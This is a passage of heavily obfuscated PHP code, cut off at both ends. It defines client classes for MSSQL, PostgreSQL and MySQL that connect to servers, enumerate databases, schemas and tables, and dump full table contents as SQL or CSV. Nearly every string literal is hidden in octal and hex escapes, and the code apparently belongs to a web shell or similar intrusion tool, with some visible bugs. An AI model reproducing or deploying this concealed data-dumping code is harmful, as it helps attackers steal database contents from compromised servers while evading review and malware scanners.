sqlsrv_fetch($this->_res, SQLSRV_SCROLL_ABSOLUTE, $o); } function fetchAssoc() { return sqlsrv_fetch_array($this->_res, SQLSRV_FETCH_ASSOC); } function fetchRow() { return sqlsrv_fetch_array($this->_res, SQLSRV_FETCH_NUMERIC); } function nextResult() { return sqlsrv_next_result($this->_res); } function query($v) { return $this->_res = sqlsrv_query($this->_cnct, $v); } function setBase($v) { if ($v !== $this->_base) { $this->_base = NULL; if (!sqlsrv_query($this->_cnct, "\125\123\x45\x20" . mssqlEscName($b))) { return FALSE; } $this->_base = $v; } return TRUE; } function dump($b, $s, $t, $c, $f) { if (!$this->setBase($b)) { return sprintf(E_CHNGDB, $b, $s, $t); } $i = ''; if ($f) { if ($v = $this->getColumns($b, $s, $t)) { sqlOutCreate($t, $v, "\102\111\116\101\122\131", "\155\x73\163\161\x6c\x45\x73\143\116\141\x6d\x65"); } else { $i = sprintf(E_CNSTCS, $b . "\x2e" . $s . "\x2e" . $t); } } $c = sqlJoinColumns($c, "\155\x73\x73\x71\154\x45\163\x63\x4e\x61\155\x65"); if (($q = sqlsrv_query($this->_cnct, "\123\105\114\x45\103\124\x20" . $c . "\40\x46\x52\117\x4d\x20" . mssqlEscName($b, $s, $t))) && ($v = sqlsrv_fetch_array($q, SQLSRV_FETCH_ASSOC))) { if ($f) { sqlOutInsert(mssqlEscName($t), $c); } else { echo implode("\x3b", array_keys($v)), "\xa"; } $d = FALSE; do { if ($d) { echo $d; } else { $d = $f ? "\54" : "\xa"; } if ($f) { sqlOutValues($v, "\x6d\163\163\x71\154\x45\x73\x63\x44\141\164\141"); } else { csvOutValues($v); } } while ($v = sqlsrv_fetch_array($q, SQLSRV_FETCH_NUMERIC)); if ($f) { echo "\x3b\12"; } sqlsrv_free_stmt($q); } else { $i .= sprintf(E_SLCTDT, $b . "\x2e" . $s . "\56" . $t); } return $i; } function close() { sqlsrv_close($this->_cnct); } } function pgsqlEscData($v) { return "\x27" . str_replace(array("\134", "\x27"), array("\134\134", "\47\x27"), $v) . "\47"; } function pgsqlEscName() { $a = func_get_args(); foreach ($a as $k => $v) { $a[$k] = "\x22" . str_replace("\x22", "\x22\x22", $v) . "\x22"; } return implode("\56", $a); } class PGSQLBase extends SQLBase { var $haveSchemas = TRUE, $canPaginate = FALSE, $_params = '', $_base = NULL, $_clcs = NULL; function fillParams($h, $u, $p) { $v = array(); if ($h !== NULL) { if ($i = strrpos($h, "\72")) { $v[] = "\x68\157\163\x74\x3d" . $this->escParam(substr($h, 0, $i)); $v[] = "\160\x6f\162\164\x3d" . substr($h, $i + 1); } else { $v[] = "\x68\x6f\163\164\x3d" . $this->escParam($h); } } if ($u !== NULL) { $v[] = "\165\x73\x65\x72\75" . $this->escParam($u); } if ($p !== NULL) { $v[] = "\160\x61\x73\x73\167\157\162\x64\75" . $this->escParam($p); } $this->_params = implode("\40", $v); } function charset($k) { $v = array("\125\x54\x46\x38", "\125\124\x46\70", "\x57\x49\116\x31\x32\x35\x30", "\x57\111\116\x31\62\65\61", "\x57\111\116\x31\62\65\62", "\127\x49\x4e\x31\62\x35\64", "\x57\111\116\x31\62\65\x36", "\127\x49\x4e\x31\62\x35\67", "\x4c\x41\x54\x49\x4e\61", "\x4c\x41\x54\111\116\62", "\x49\x53\117\x5f\x38\70\x35\x39\x5f\67", "\x49\x53\117\x5f\70\70\65\71\137\70", "\114\x41\124\111\x4e\65", "\114\101\124\x49\x4e\x37", "\102\x49\x47\65", "\x47\x42\x4b", "\x53\112\111\x53", "\x45\x55\x43\x5f\113\x52", "\105\x55\103\x5f\112\120", "\127\x49\116\70\x36\66", "\x4b\x4f\111\x38\x52", "\113\x4f\x49\70\x55"); return isset($v[$k]) ? $v[$k] : "\x75\x74\146\x38"; } function escParam($v) { return "\47" . addcslashes($v, "\x27\x5c") . "\x27"; } function getBases() { return $this->tryQueries(array("\123\x45\x4c\105\x43\x54\40\x64\141\164\x6e\141\x6d\145\40\x46\122\117\x4d\x20\160\147\x5f\143\x61\x74\x61\x6c\x6f\147\x2e\x70\147\x5f\144\141\164\141\142\141\x73\x65\x20\x57\110\105\x52\x45\x20\116\x4f\124\40\x64\x61\164\151\x73\x74\145\x6d\x70\x6c\141\164\145", "\x53\x45\x4c\x45\103\124\x20\x64\141\x74\x6e\141\x6d\x65\x20\x46\x52\117\x4d\40\x70\x67\x5f\143\x61\x74\141\154\157\x67\x2e\160\147\137\163\x74\141\x74\x5f\144\141\164\141\142\141\163\145", "\x53\105\114\105\103\x54\x20\x64\x61\164\x6e\141\155\x65\x20\106\x52\x4f\115\x20\x70\x67\x5f\x63\x61\164\141\x6c\x6f\x67\x2e\160\147\137\x73\164\141\x74\137\144\141\164\x61\x62\x61\x73\145\x5f\x63\157\x6e\x66\x6c\151\x63\164\x73", "\x53\105\114\105\103\x54\x20\x63\x75\162\x72\145\x6e\x74\x5f\x64\x61\x74\x61\142\x61\163\145\50\51")); } function getSchemas($b) { if (!$this->setBase($b)) { return FALSE; } return $this->tryQueries(array("\x53\x45\x4c\105\x43\124\40\x73\143\150\x65\x6d\x61\137\156\141\x6d\x65\40\x46\122\117\115\40\x69\156\x66\x6f\162\155\x61\164\151\157\156\x5f\x73\x63\x68\x65\155\x61\x2e\163\x63\150\x65\x6d\x61\x74\141", "\x53\x45\x4c\105\103\x54\40\x6e\163\160\156\141\155\x65\x20\106\122\117\x4d\x20\160\147\137\x63\x61\164\141\154\157\147\x2e\160\147\137\156\x61\155\x65\163\160\141\x63\145", "\123\x45\x4c\x45\x43\x54\40\104\111\123\x54\111\116\103\124\40\x74\x61\x62\154\x65\137\163\x63\150\145\x6d\141\40\106\x52\x4f\x4d\x20\151\x6e\x66\x6f\x72\155\141\164\151\x6f\156\x5f\163\143\x68\145\155\141\56\x74\x61\142\154\145\163", "\x53\x45\x4c\105\103\124\x20\104\x49\x53\x54\111\116\x43\x54\x20\163\143\150\145\155\x61\x6e\x61\x6d\x65\40\x46\x52\x4f\x4d\40\x70\147\x5f\143\141\164\x61\x6c\x6f\x67\56\160\147\137\164\141\x62\154\x65\x73", "\123\x45\x4c\105\x43\124\x20\104\111\x53\x54\111\116\x43\124\40\x73\x63\x68\145\155\141\x6e\141\x6d\x65\40\x46\122\x4f\115\x20\x70\147\x5f\x63\x61\x74\x61\154\157\x67\56\x70\147\x5f\163\164\x61\x74\137\170\x61\143\x74\137\x61\x6c\154\x5f\x74\x61\x62\x6c\145\163", "\123\x45\x4c\105\103\124\40\x44\x49\x53\x54\111\x4e\x43\124\x20\163\143\x68\x65\155\141\x6e\141\155\145\x20\106\122\117\x4d\40\160\147\137\143\x61\164\141\154\x6f\x67\x2e\160\x67\x5f\163\x74\x61\164\x69\x6f\x5f\141\x6c\x6c\137\164\141\x62\x6c\145\163", "\x53\x45\114\105\x43\x54\x20\x44\111\x53\124\x49\x4e\x43\x54\x20\x73\x63\150\x65\155\141\x6e\141\155\145\x20\106\x52\117\x4d\x20\x70\147\x5f\143\x61\x74\x61\x6c\x6f\147\56\160\x67\x5f\x73\x74\141\x74\x5f\x75\163\x65\x72\137\164\141\142\154\x65\x73\x20\125\x4e\111\x4f\116\40\123\x45\114\105\x43\x54\x20\104\111\x53\124\x49\116\103\x54\40\163\x63\150\x65\155\141\x6e\141\155\145\40\x46\x52\x4f\115\40\160\147\137\x63\x61\x74\x61\154\x6f\147\x2e\x70\147\137\x73\x74\141\164\x5f\163\x79\x73\137\x74\x61\x62\x6c\x65\x73", "\x53\105\114\105\103\x54\x20\x44\111\123\124\111\x4e\x43\124\40\x73\143\x68\x65\x6d\x61\x6e\141\x6d\145\40\106\x52\117\115\40\x70\147\x5f\x63\141\x74\141\x6c\x6f\x67\56\160\x67\137\163\x74\141\164\x5f\x78\x61\143\x74\137\165\x73\x65\x72\137\164\x61\x62\154\145\x73\x20\125\116\111\117\116\x20\x53\105\114\105\x43\x54\40\104\x49\123\x54\111\116\103\x54\40\x73\143\150\x65\155\141\x6e\x61\x6d\x65\x20\106\x52\117\115\x20\x70\x67\137\143\x61\164\141\x6c\x6f\147\x2e\x70\147\137\x73\164\141\x74\x5f\x78\141\143\x74\137\163\171\163\x5f\164\141\x62\x6c\145\x73", "\123\x45\114\105\x43\x54\x20\x44\111\x53\x54\111\116\103\x54\40\163\x63\x68\x65\155\x61\156\141\x6d\x65\40\106\x52\x4f\x4d\40\x70\x67\x5f\143\x61\x74\141\154\157\147\x2e\160\x67\137\163\x74\x61\x74\x69\157\137\x75\163\145\x72\137\x74\x61\142\154\145\x73\x20\125\116\111\117\x4e\40\123\105\114\x45\103\x54\x20\104\111\x53\124\111\x4e\x43\124\x20\x73\x63\x68\x65\155\141\x6e\141\155\x65\40\106\x52\x4f\115\x20\160\x67\x5f\143\x61\x74\141\x6c\157\x67\56\160\x67\x5f\163\164\x61\x74\x69\157\x5f\163\171\163\x5f\x74\x61\142\x6c\145\163", "\x53\105\x4c\x45\x43\x54\40\104\x49\123\x54\111\x4e\x43\124\40\x74\141\x62\154\x65\x5f\163\143\150\145\155\x61\x20\x46\x52\117\x4d\40\151\156\146\x6f\162\x6d\x61\x74\x69\157\156\x5f\x73\x63\150\x65\x6d\141\x2e\143\x6f\154\165\x6d\156\163", "\123\x45\114\105\x43\124\x20\x44\x49\x53\124\111\x4e\x43\124\x20\163\x63\150\x65\155\141\156\141\x6d\x65\x20\x46\x52\117\115\40\160\x67\x5f\143\141\x74\x61\154\157\x67\56\160\x67\x5f\x73\164\x61\164\163")); } function getTables($b, $s) { if (!$this->setBase($b)) { return FALSE; } $s = pgsqlEscData($s); return $this->tryQueries(array("\123\105\114\x45\103\x54\x20\164\141\142\154\x65\137\156\141\x6d\145\x20\x46\122\117\x4d\x20\x69\x6e\146\x6f\162\x6d\141\x74\x69\x6f\156\137\x73\143\150\x65\x6d\141\56\164\x61\x62\154\145\x73\x20\127\x48\x45\x52\105\40\164\x61\x62\154\x65\x5f\x73\x63\150\145\x6d\141\75" . $s, "\x53\x45\114\105\103\124\40\162\x65\154\x6e\x61\155\x65\x20\106\x52\x4f\x4d\40\x70\x67\x5f\x63\141\164\x61\x6c\x6f\147\x2e\160\147\x5f\x73\164\141\164\137\141\154\154\x5f\x74\141\x62\x6c\x65\163\x20\x57\x48\x45\x52\x45\x20\x73\x63\150\x65\155\141\x6e\141\155\x65\75" . $s, "\123\105\x4c\x45\103\x54\x20\162\145\x6c\x6e\x61\155\145\40\x46\122\117\x4d\40\x70\x67\x5f\143\x61\x74\x61\154\x6f\x67\56\x70\147\137\x73\164\x61\164\151\x6f\x5f\141\x6c\x6c\137\164\x61\142\154\x65\x73\x20\127\110\x45\x52\105\40\163\143\x68\x65\x6d\141\x6e\141\x6d\x65\x3d" . $s, "\x53\x45\114\x45\103\124\x20\x72\145\x6c\156\141\x6d\x65\x20\106\x52\x4f\x4d\x20\160\x67\137\143\141\x74\141\154\x6f\147\56\x70\147\137\163\x74\141\164\137\x78\x61\x63\164\137\141\154\x6c\x5f\x74\141\x62\x6c\x65\x73\x20\x57\x48\105\x52\x45\x20\x73\143\x68\145\155\x61\x6e\141\x6d\145\75" . $s, "\123\x45\x4c\105\x43\x54\x20\x74\141\142\x6c\x65\x6e\x61\x6d\x65\x20\x46\x52\117\115\x20\x70\x67\137\143\x61\x74\x61\x6c\x6f\147\56\x70\147\137\164\x61\x62\154\x65\163\x20\x57\110\x45\122\x45\40\163\143\150\145\x6d\141\156\141\155\x65\75" . $s, "\x53\x45\x4c\x45\103\124\40\162\x65\154\156\x61\155\x65\x20\106\x52\117\x4d\x20\x70\x67\137\143\x61\164\x61\x6c\x6f\147\x2e\160\x67\x5f\163\164\141\164\137\x73\x79\163\x5f\x74\141\142\x6c\x65\163\40\127\110\x45\x52\105\40\x73\143\150\x65\x6d\141\156\x61\x6d\x65\75" . $s, "\123\x45\114\x45\x43\x54\40\162\x65\x6c\156\141\x6d\x65\x20\x46\x52\x4f\115\40\x70\147\x5f\x63\141\164\141\154\157\147\56\160\x67\x5f\x73\x74\141\164\137\165\x73\x65\x72\x5f\x74\141\x62\154\x65\x73\x20\127\110\x45\x52\105\x20\x73\x63\x68\x65\155\x61\x6e\141\155\145\x3d" . $s, "\x53\105\x4c\105\103\x54\40\162\145\154\x6e\x61\x6d\x65\x20\x46\122\117\x4d\40\x70\x67\x5f\143\141\x74\x61\154\x6f\147\56\x70\x67\x5f\163\x74\141\x74\151\x6f\137\163\x79\x73\x5f\x74\141\142\x6c\145\x73\x20\x57\x48\105\122\x45\40\163\x63\x68\145\x6d\x61\156\x61\155\x65\75" . $s, "\x53\x45\x4c\105\103\x54\40\x72\x65\154\156\141\155\x65\x20\x46\122\x4f\x4d\40\x70\147\x5f\x63\x61\x74\x61\x6c\157\x67\x2e\160\x67\137\x73\x74\141\164\x69\157\x5f\165\163\145\162\137\x74\x61\x62\154\x65\163\x20\x57\110\105\x52\105\x20\163\x63\x68\145\x6d\141\156\x61\x6d\x65\75" . $s, "\123\105\114\x45\103\x54\x20\x72\145\x6c\x6e\x61\x6d\145\x20\x46\x52\x4f\115\x20\160\147\137\143\x61\x74\141\154\157\x67\x2e\160\147\x5f\163\164\x61\164\x5f\x78\x61\x63\164\x5f\163\x79\163\137\164\x61\x62\x6c\145\163\40\x57\110\x45\x52\x45\x20\x73\143\150\145\155\x61\x6e\141\x6d\x65\75" . $s, "\x53\105\114\x45\x43\x54\40\162\145\154\156\x61\x6d\x65\x20\106\x52\x4f\115\40\160\x67\137\x63\x61\164\141\x6c\x6f\x67\x2e\x70\x67\x5f\163\x74\x61\164\137\170\x61\143\x74\137\x75\x73\145\x72\x5f\164\141\142\x6c\145\163\x20\127\x48\105\x52\105\40\163\x63\x68\x65\155\141\156\141\x6d\x65\x3d" . $s)); } function getColumns($b, $s, $t) { $a = array(); if ($this->tryQueries(array("\x53\x45\114\x45\x43\124\40\x63\157\x6c\x75\x6d\156\137\156\x61\155\145\54\165\x64\164\137\156\141\x6d\x65\54\151\163\137\156\165\154\154\x61\x62\x6c\x65\54\x63\x6f\x6c\x75\155\156\137\144\x65\146\x61\165\x6c\x74\x20\106\122\117\115\x20\151\156\146\157\162\x6d\141\164\151\157\x6e\137\x73\x63\150\145\155\x61\x2e\143\x6f\x6c\165\155\156\163\40\127\x48\105\x52\105\40\x74\141\142\x6c\145\137\156\x61\x6d\145\x3d" . pgsqlEscData($t) . "\40\x41\x4e\x44\x20\x74\141\142\154\x65\x5f\163\x63\150\x65\x6d\x61\x3d" . pgsqlEscData($s), "\123\105\x4c\105\103\124\40\x61\56\141\x74\x74\156\141\155\x65\x2c\40\106\x4f\122\115\101\x54\137\x54\131\120\x45\x28\141\56\141\164\x74\164\171\160\x69\x64\54\141\x2e\x61\164\164\164\171\x70\155\x6f\144\x29\54\x20\141\56\141\164\x74\x6e\157\x74\156\x75\x6c\x6c\54\40\x64\56\x61\x64\163\x72\x63\x20\x46\122\117\x4d\40\x70\147\x5f\x61\164\164\x72\x69\142\165\164\x65\x20\x61\40\x4c\105\106\124\x20\112\x4f\x49\116\x20\x70\147\x5f\x61\164\164\x72\x64\145\146\40\x64\x20\117\116\x20\x64\56\141\144\x72\145\x6c\x69\x64\75\x61\x2e\141\164\164\x72\145\154\151\144\40\x41\x4e\104\40\x64\x2e\x61\x64\x6e\165\x6d\75\141\56\x61\x74\164\x6e\165\155\x20\127\x48\x45\122\x45\40\x61\164\164\x72\x65\154\x69\x64\x20\75\40" . pgsqlEscData(pgsqlEscName($s, $t)) . "\72\x3a\162\x65\x67\143\x6c\x61\x73\163\40\x41\x4e\x44\x20\x61\x74\x74\x6e\x75\155\x3e\x30\x20\x41\116\x44\40\116\117\x54\40\141\x74\164\151\x73\144\x72\157\160\160\x65\144"))) { while ($v = $this->fetchRow()) { $v[1] = strtoupper($v[1]); if ($v[2][0] === "\116" || $v[2][0] === "\x66") { $v[1] .= "\x20\116\117\124\x20\116\125\114\x4c"; } if ($v[3] !== NULL) { $v[1] .= "\40\104\105\106\101\x55\x4c\124\40" . pgsqlEscData($v[3]); } $a[$v[0]] = $v[1]; } return $a; } return FALSE; } function select($b, $s, $t, $c, $o, $l) { return $this->query("\123\105\114\105\x43\124\40" . sqlJoinColumns($c, "\160\x67\163\161\x6c\105\163\x63\116\141\x6d\x65") . "\x20\106\x52\117\x4d\40" . pgsqlEscName($s, $t) . "\40\x4c\x49\115\111\x54\40" . $l); } } class PGSQLClient extends PGSQLBase { function connect($h, $u, $p, $b, $c) { $this->_base = $b; $this->_clcs = $c; $this->fillParams($h, $u, $p); $v = $this->_params; if ($b !== NULL) { $v .= "\x20\144\x62\x6e\141\155\145\75" . $this->escParam($b); } $this->_cnct = pg_connect($v); if (!$this->_cnct && $b === NULL) { $this->_cnct = pg_connect($this->_params . "\40\144\x62\x6e\141\x6d\145\75\x74\x65\155\x70\154\x61\x74\145\61"); } if (!$this->_cnct) { return FALSE; } pg_exec($this->_cnct, "\123\105\124\x20\x43\114\x49\x45\x4e\x54\x5f\x45\x4e\x43\117\x44\111\x4e\x47\x20\x54\117\x20\47" . $this->charset($c) . "\x27"); return TRUE; } function getError() { if ($this->_cnct) { $v = PHP_VERSION >= "\64\x2e\x32" ? pg_last_error($this->_cnct) : pg_errormessage($this->_cnct); pg_close($this->_cnct); return $v; } return ''; } function tryQueries($a) { foreach ($a as $v) { if ($this->_res = pg_exec($this->_cnct, $v)) { return TRUE; } } return FALSE; } function fetchBase() { return ($v = pg_fetch_row($this->_res)) ? $v[0] : FALSE; } function setBase($v) { if ($v !== $this->_base) { $this->_base = NULL; pg_close($this->_cnct); if (!($this->_cnct = pg_connect($this->_params . "\40\144\x62\x6e\x61\x6d\145\x3d" . $this->escParam($v)))) { return FALSE; } $this->_base = $v; pg_exec($this->_cnct, "\123\x45\124\40\x43\114\111\x45\116\124\x5f\105\116\x43\x4f\x44\x49\x4e\107\40\x54\x4f\40\x27" . $this->charset($this->_clcs) . "\x27"); } return TRUE; } function fetchSchema() { return ($v = pg_fetch_row($this->_res)) ? $v[0] : FALSE; } function fetchTable() { return ($v = pg_fetch_row($this->_res)) ? $v[0] : FALSE; } function getTableSize($b, $s, $t) { if ($v = pg_exec($this->_cnct, "\x53\x45\x4c\105\x43\x54\x20\x43\x4f\x55\x4e\x54\x28\52\x29\40\x46\x52\117\x4d\x20" . pgsqlEscName($s, $t))) { $v = pg_fetch_row($v); return $v[0]; } return "\x22\x3f\x22"; } function getColumns($b, $s, $t) { $a = parent::getColumns($b, $s, $t); if ($a) { return $a; } $a = array(); if (PHP_VERSION >= "\64\x2e\63" && ($v = pg_meta_data($this->_cnct, $s . "\x2e" . $t))) { foreach ($v as $k => $i) { $a[$k] = strtoupper($i["\164\171\160\x65"]); if ($i["\156\x6f\164\x20\x6e\165\x6c\154"]) { $a[$k] .= "\x20\116\117\124\x20\116\125\114\x4c"; } } return $a; } if (PHP_VERSION >= "\x34\56\62" && ($q = pg_exec($this->_cnct, "\123\105\114\x45\x43\124\x20\52\x20\106\122\x4f\x4d\x20" . pgsqlEscName($s, $t) . "\40\x4c\111\115\x49\124\40\x30"))) { $i = 0; while (($v = pg_field_name($q, $i)) !== FALSE) { $a[$k] = pg_field_type($q, $i++); } return $a; } if (($v = pg_exec($this->_cnct, "\123\x45\114\105\103\x54\40\52\x20\106\122\x4f\115\40" . pgsqlEscName($s, $t) . "\x20\114\111\x4d\111\x54\x20\61")) && ($v = pg_fetch_array($this->_res, NULL, PGSQL_ASSOC))) { foreach ($v as $k) { $a[$k] = ''; } return $a; } return FALSE; } function query($v) { return $this->_res = pg_exec($this->_cnct, $v); } function fetchAssoc() { return pg_fetch_array($this->_res, NULL, PGSQL_ASSOC); } function fetchRow() { return pg_fetch_row($this->_res); } function dump($b, $s, $t, $c, $f) { if (!$this->setBase($b)) { return sprintf(E_CHNGDB, $b, $s, $t); } $i = ''; if ($f) { if ($v = $this->getColumns($b, $s, $t)) { sqlOutCreate($t, $v, "\102\111\116\101\122\x59", "\160\x67\x73\161\154\105\163\x63\x4e\x61\x6d\x65"); } else { $i = sprintf(E_CNSTCS, $b . "\x2e" . $s . "\56" . $t); } } $c = sqlJoinColumns($c, "\x70\x67\163\x71\x6c\x45\163\x63\x4e\x61\155\145"); if (pg_exec($this->_cnct, "\x42\x45\107\x49\x4e\73\x20\104\x45\103\x4c\101\x52\x45\40\x63\40\x43\125\122\x53\x4f\122\x20\x46\x4f\x52\x20\123\105\x4c\x45\x43\x54\x20" . $c . "\x20\106\122\x4f\115\x20" . pgsqlEscName($s, $t))) { if (($v = pg_exec($this->_cnct, "\x46\x45\124\x43\110\40\116\105\x58\124\x20\x46\x52\x4f\115\40\143")) && ($v = pg_fetch_array($v, NULL, PGSQL_ASSOC))) { if ($f) { sqlOutInsert(pgsqlEscName($t), $c); } else { echo implode("\x3b", array_keys($v)), "\xa"; } $c = $this->_cnct; $d = FALSE; do { if ($d) { echo $d; } else { $d = $f ? "\54" : "\xa"; } if ($f) { sqlOutValues($v, "\160\147\163\x71\154\x45\x73\143\x44\141\x74\141"); } else { csvOutValues($v); } } while (($v = pg_exec($c, "\106\x45\x54\x43\x48\40\x4e\x45\130\124\40\x46\x52\x4f\115\40\143")) && ($v = pg_fetch_row($v))); if ($f) { echo "\x3b\12"; } } pg_exec("\x43\x4c\x4f\123\105\40\x63\x3b\40\122\117\x4c\114\102\101\x43\x4b"); } else { $i .= sprintf(E_SLCTDT, $b . "\x2e" . $t); } return $i; } function close() { pg_close($this->_cnct); } } if (PHP_VERSION >= "\x35") { class MySQLPDOClient extends MySQLBase { function connect($h, $u, $p, $b, $c) { $a = array(); if ($h !== NULL && ($v = strrpos($h, "\x3a"))) { $t = (int) substr($h, $v + 1); $h = substr($h, 0, $v); } else { $t = NULL; } if ($h !== NULL) { $a[] = "\150\x6f\x73\x74\75" . $h; } if ($t !== NULL) { $a[] = "\x70\x6f\162\x74\75" . $t; } if ($b !== NULL) { $a[] = "\144\x62\x6e\x61\155\145\75" . $b; } try { $v = new PDO("\155\x79\x73\161\x6c\x3a" . implode("\x3b", $a), $u, $p); } catch (Exception $e) { $this->connError($e->getMessage(), $h, $u, $p, $b); } $v->query("\123\105\124\x20\x4e\101\x4d\x45\x53\x20" . $this->charset($c)); $this->_cnct = $v; return TRUE; } function getTableSize($b, $t) { return $this->sqlTableSize(mysqlEscName($b, $t)); } function getColumns($b, $t) { if ($a = parent::getColumns($b, $t)) { return $a; } return $this->getColumnsNames(mysqlEscName($b, $t)); } function fetchRow() { $r = $this->_res->fetch(PDO::FETCH_NUM); if (defined("\x4d\120\104\106\x49\x58") && is_int(MPDFIX)) { $this->_res->closeCursor(); } return $r; } function dump($b, $t, $c, $f) { define("\x4d\120\104\x46\x49\130", 1); if ($f) { $i = $this->outCreateTable($b, $t); } $c = sqlJoinColumns($c, "\x6d\171\163\161\154\105\x73\x63\116\141\x6d\x65"); $this->_cnct->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, FALSE); if (($q = $this->_cnct->query("\x53\x45\114\x45\x43\124\x20" . $c . "\40\x46\122\x4f\x4d\40" . mysqlEscName($b, $t))) && ($v = $q->fetch(PDO::FETCH_ASSOC))) { if ($f) { sqlOutInsert(mysqlEscName($t), $c); } else { echo implode("\x3b", array_keys($v)), "\xa"; } $d = FALSE; do { if ($d) { echo $d; } else { $d = $f ? "\54" : "\12"; } if ($f) { sqlOutValues($v, "\155\x79\163\x71\x6c\x45\163\x63\104\141\x74\x61"); } else { csvOutValues($v); } } while ($v = $q->fetch(PDO::FETCH_NUM)); if ($f) { echo "\73\xa"; } } else { $i .= sprintf(E_SLCTDT, $b . "\56" . $t . "\40" . print_r($this->_cnct->errorInfo(), true)); } return $i; } } class MSSQLPDOClient extends MSSQLBase { var $canPaginate = FALSE; function connect($d, $u, $p, $b, $c) { try { $v = new PDO($d, $u, $p); } catch (Exception $e) { $this->connError($e->getMessage(), $d, $u, $p, $b); } $this->_cnct = $v; $this->_base = $b; return TRUE; } function getTableSize($b, $s, $t) { return $this->sqlTableSize(mssqlEscName($b, $s, $t)); } function setBase($v) { if ($v !== $this->_base) { $this->_base = NULL; if (!$this->_cnct->query("\125\x53\x45\x20" . mssqlEscName($v))) { return FALSE; } $this->_base = $v; } return TRUE; } function getColumns($b, $s, $t) { if ($a = parent::getColumns($b, $s, $t)) { return $a; } return $this->getColumnsNames(mssqlEscName($b, $s, $t)); } function select($b, $s, $t, $c, $o, $l) { return $this->query("\x53\105\114\x45\103\x54\40\x54\x4f\120\x20" . $l . "\x20" . sqlJoinColumns($c, "\x6d\x73\163\x71\x6c\x45\163\x63\116\x61\155\x65") . "\x20\x46\x52\117\115\40" . mssqlEscName($s, $t)); } function dump($b, $s, $t, $c, $f) { if (!$this->setBase($b)) { return sprintf(E_CHNGDB, $b, $s, $t); } $i = ''; if ($f) { if ($v = $this->getColumns($b, $s, $t)) { sqlOutCreate($t, $v, "\102\x49\x4e\x41\x52\x59", "\155\163\163\161\154\105\163\x63\116\x61\x6d\145"); } else { $i = sprintf(E_CNSTCS, $b . "\56" . $s . "\x2e" . $t); } } $c = sqlJoinColumns($c, "\155\x73\x73\161\x6c\x45\x73\143\116\x61\155\145"); if (($q = $this->_cnct->query("\123\x45\x4c\105\x43\124\x20" . $c . "\40\x46\122\117\115\x20" . mssqlEscName($s, $t))) && ($v = $q->fetch(PDO::FETCH_ASSOC))) { if ($f) { sqlOutInsert(mssqlEscName($t), $c); } else { echo implode("\x3b", array_keys($v)), "\xa"; } $d = FALSE; do { if ($d) { echo $d; } else { $d = $f ? "\54" : "\12"; } if ($f) { sqlOutValues($v, "\155\163\163\x71\x6c\105\x73\143\x44\x61\x74\x61"); } else { csvOutValues($v); } } while ($v = $q->fetch(PDO::FETCH_NUM)); if ($f) { echo "\73\xa"; } } else { $i .= sprintf(E_SLCTDT, $b . "\56" . $s . "\56" . $t); } return $i; } function fetchBase() { if (($v = $this->_res->fetch(PDO::FETCH_NUM)) || $this->_res->nextRowset() && ($v = $this->_res->fetch(PDO::FETCH_NUM))) { return $v[0]; } return FALSE; } function fetchSchema() { return $this->_res->fetchColumn(1); } function fetchTable() { if (($v = $this->_res->fetch(PDO::FETCH_NUM)) || $this->_res->nextRowset() && ($v = $this->_res->fetch(PDO::FETCH_NUM))) { return count($v) === 1 ? $v[0] : $v[2]; } return FALSE; } function nextResult() { return $this->_res->nextRowset(); } } class MSSQLDBLIBClient extends MSSQLPDOClient { function connect($h, $u, $p, $b, $c) { $a = array(); if ($h !== NULL) { $a[] = "\150\x6f\x73\164\75" . $h; } if ($b !== NULL) { $a[] = "\144\142\x6e\141\155\x65\75" . $b; } return parent::connect("\155\163\x73\x71\154\x3a" . implode("\x3b", $a), $h, $u, $p, $b, $c); } } class MSSQLODBCClient extends MSSQLPDOClient { function connect($h, $u, $p, $b, $c) { $a = array(); if ($h !== NULL) { $a[] = "\123\x65\x72\x76\145\x72\x3d" . $h; } if ($b !== NULL) { $a[] = "\x44\141\164\x61\x62\141\163\145\75" . $b; } return parent::connect("\157\x64\142\x63\72" . implode("\73", $a), $h, $u, $p, $b, $c); } } class SQLSrvPDOClient extends MSSQLPDOClient { function connect($h, $u, $p, $b, $c) { $a = array(); if ($h !== NULL) { $a[] = "\123\145\162\166\x65\x72\75" . $h; } if ($b !== NULL) { $a[] = "\104\141\164\141\142\141\163\x65\75" . $b; } return parent::connect("\163\x71\x6c\x73\162\x76\72" . implode("\73", $a), $u, $p, $b, $c); } } class PGSQLPDOClient extends PGSQLBase { function connect($h, $u, $p, $b, $c) { $this->_base = $b; $this->_clcs = $c; $this->fillParams($h, $u, $p); $this->_params = "\x70\147\163\161\154\72" . $this->_params; $v = $this->_params; if ($b !== NULL) { $v .= "\40\x62\141\163\145\x3d" . $this->escParam($b); } try { $v = new PDO($v); } catch (Exception $e) { $this->connError($e->getMessage(), $h, $u, $p, $b); } $v->query("\x53\105\x54\x20\103\x4c\x49\x45\x4e\124\x5f\x45\116\103\x4f\104\111\116\107\x20\124\117\x20\47" . $this->charset($c) . "\x27"); $this->_cnct = $v; return TRUE; } function setBase($v) { if ($v !== $this->_base) { $this->_res = NULL; $this->_cnct = NULL; $this->_base = NULL; try { $v = new PDO($this->_params . "\x20\142\x61\163\145\x3d" . $this->escParam($v)); } catch (Exception $e) { return FALSE; } $this->_base = $v; $v->query("\x53\x45\x54\x20\103\x4c\x49\x45\x4e\124\137\x45\116\103\x4f\104\x49\x4e\x47\x20\x54\x4f\x20\x27" . $this->charset($this->_clcs) . "\x27"); $this->_cnct = $v; } return TRUE; } function getTableSize($b, $s, $t) { return $this->sqlTableSize(pgsqlEscName($s, $t)); } function getColumns($b, $s, $t) { if ($a = parent::getColumns($b, $s, $t)) { return $a; } return $this->getColumnsNames(pgsqlEscName($s, $t)); } function dump($b, $s, $t, $c, $f) { if (!$this->setBase($b)) { return sprintf(E_CHNGDB, $b, $s, $t); } $i = ''; if ($f) { if ($v = $this->getColumns($b, $s, $t)) { sqlOutCreate($t, $v, "\102\111\x4e\101\122\x59", "\x70\147\x73\161\154\105\163\143\x4e\141\x6d\x65"); } else { $i = sprintf(E_CNSTCS, $b . "\x2e" . $s . "\56" . $t); } } $c = sqlJoinColumns($c, "\160\147\x73\161\154\105\163\x63\116\x61\155\145"); if ($this->_cnct->query("\102\x45\x47\x49\x4e\73\x20\104\x45\x43\114\101\x52\105\x20\x63\x20\x43\x55\122\123\x4f\x52\x20\x46\x4f\x52\x20\123\x45\x4c\105\x43\124\40" . $c . "\x20\x46\x52\117\x4d\40" . pgsqlEscName($s, $t))) { if (($v = $this->_cnct->query("\106\x45\124\103\110\40\x4e\x45\130\124\x20\x46\x52\x4f\x4d\x20\143")) && ($v = 